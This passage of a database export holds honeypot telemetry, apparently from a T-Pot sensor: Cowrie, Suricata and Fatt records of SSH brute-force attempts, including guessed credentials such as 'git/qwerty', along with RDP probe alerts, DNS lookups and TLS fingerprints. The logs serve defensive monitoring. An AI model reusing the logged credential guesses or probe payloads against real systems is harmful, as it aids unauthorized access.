"voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29651	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:28:12.450561+03	2021-09-20 14:30:04.402554+03	{"_id": "Kgb2AnwBvYTbRNuErjcA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "7b7d7d32ed86", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:28:12.450561Z", "@timestamp": "2021-09-20T11:28:12.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29652	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:28:12.71921+03	2021-09-20 14:30:04.404553+03	{"_id": "Kwb2AnwBvYTbRNuErjcA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.login.failed", "message": "login attempt [lisa/123] failed", "session": "3e241db4de77", "@version": "1", "password": "123", "username": "lisa", "timestamp": "2021-09-20T11:28:12.719210Z", "@timestamp": "2021-09-20T11:28:12.719Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29653	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:28:12.721272+03	2021-09-20 14:30:04.406523+03	{"_id": "LAb2AnwBvYTbRNuErjcA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7b7d7d32ed86", "@version": "1", "timestamp": "2021-09-20T11:28:12.721272Z", "@timestamp": "2021-09-20T11:28:12.721Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29654	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:28:12.708621+03	2021-09-20 14:30:04.407524+03	{"_id": "LQb2AnwBvYTbRNuErzex", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 1808376389229203, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52850, "dest_port": 22, "timestamp": "2021-09-20T11:28:12.708621Z", "@timestamp": "2021-09-20T11:28:12.708Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29655	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:28:14.008919+03	2021-09-20 14:30:04.408525+03	{"_id": "Lwb2AnwBvYTbRNuEsTfn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3e241db4de77", "@version": "1", "duration": 2.774941921234131, "timestamp": "2021-09-20T11:28:14.008919Z", "@timestamp": "2021-09-20T11:28:14.008Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29656	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:28:14.842582+03	2021-09-20 14:30:04.410524+03	{"_id": "Nwb2AnwBvYTbRNuEtzeA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:28:14.524064+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 12972685459232, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51350, "dest_port": 3389, "timestamp": "2021-09-20T11:28:14.842582Z", "@timestamp": "2021-09-20T11:28:14.842Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29657	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:28:16.408935+03	2021-09-20 14:30:04.412523+03	{"_id": "Qwb2AnwBvYTbRNuEuzdq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 1722, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 950, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1499336312633432, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 57078, "timestamp": "2021-09-20T11:28:16.408935Z", "@timestamp": "2021-09-20T11:28:16.408Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29658	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:28:16.008438+03	2021-09-20 14:30:04.413523+03	{"_id": "Rgb2AnwBvYTbRNuEvDeS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35248, "timestamp": "2021-09-20T11:28:16.008438", "@timestamp": "2021-09-20T11:28:16.008Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29659	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:28:12.451378+03	2021-09-20 14:30:04.414524+03	{"_id": "Igb2AnwBvYTbRNuErDfw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52850, "timestamp": "2021-09-20T11:28:12.451378", "@timestamp": "2021-09-20T11:28:12.451Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29660	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:28:12.709467+03	2021-09-20 14:30:04.415524+03	{"_id": "Iwb2AnwBvYTbRNuErDfw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 52850, "dest_port": 22, "timestamp": "2021-09-20T11:28:12.709467", "@timestamp": "2021-09-20T11:28:12.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29661	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:28:15.897192+03	2021-09-20 14:30:04.417524+03	{"_id": "Qgb2AnwBvYTbRNuEuzdq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 25988, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1426216641867944, "@version": "1", "in_iface": "enp5s0", "src_port": 37839, "dest_port": 53, "timestamp": "2021-09-20T11:28:15.897192Z", "@timestamp": "2021-09-20T11:28:15.897Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29662	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:28:15.968321+03	2021-09-20 14:30:04.419524+03	{"_id": "SQb2AnwBvYTbRNuEvDeS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35248, "dest_port": 443, "timestamp": "2021-09-20T11:28:15.968321", "@timestamp": "2021-09-20T11:28:15.968Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29663	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:28:16.502373+03	2021-09-20 14:30:04.420523+03	{"_id": "SAb2AnwBvYTbRNuEvDeS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35250, "timestamp": "2021-09-20T11:28:16.502373", "@timestamp": "2021-09-20T11:28:16.502Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29664	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:28:13.904878+03	2021-09-20 14:30:04.421523+03	{"_id": "Lgb2AnwBvYTbRNuEsTfn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [git/qwerty] failed", "session": "7b7d7d32ed86", "@version": "1", "password": "qwerty", "username": "git", "timestamp": "2021-09-20T11:28:13.904878Z", "@timestamp": "2021-09-20T11:28:13.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29665	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:28:15.17412+03	2021-09-20 14:30:04.422524+03	{"_id": "NQb2AnwBvYTbRNuEtTfQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7b7d7d32ed86", "@version": "1", "duration": 2.7238523960113525, "timestamp": "2021-09-20T11:28:15.174120Z", "@timestamp": "2021-09-20T11:28:15.174Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29666	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:28:14.842582+03	2021-09-20 14:30:04.424547+03	{"_id": "Ngb2AnwBvYTbRNuEtzeA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:28:14.524064+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 12972685459232, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51350, "dest_port": 3389, "timestamp": "2021-09-20T11:28:14.842582Z", "@timestamp": "2021-09-20T11:28:14.842Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29667	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:28:14.859153+03	2021-09-20 14:30:04.425524+03	{"_id": "OQb2AnwBvYTbRNuEtzeB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:28:14.524064+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 12972685459232, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 51350, "timestamp": "2021-09-20T11:28:14.859153Z", "@timestamp": "2021-09-20T11:28:14.859Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
29668	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:28:15.177191+03	2021-09-20 14:30:04.426524+03	{"_id": "Ogb2AnwBvYTbRNuEtzeB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:28:14.524064+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 12972685459232, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 51350, "dest_port": 3389, "timestamp": "2021-09-20T11:28:15.177191Z", "@timestamp": "2021-09-20T11:28:15.177Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
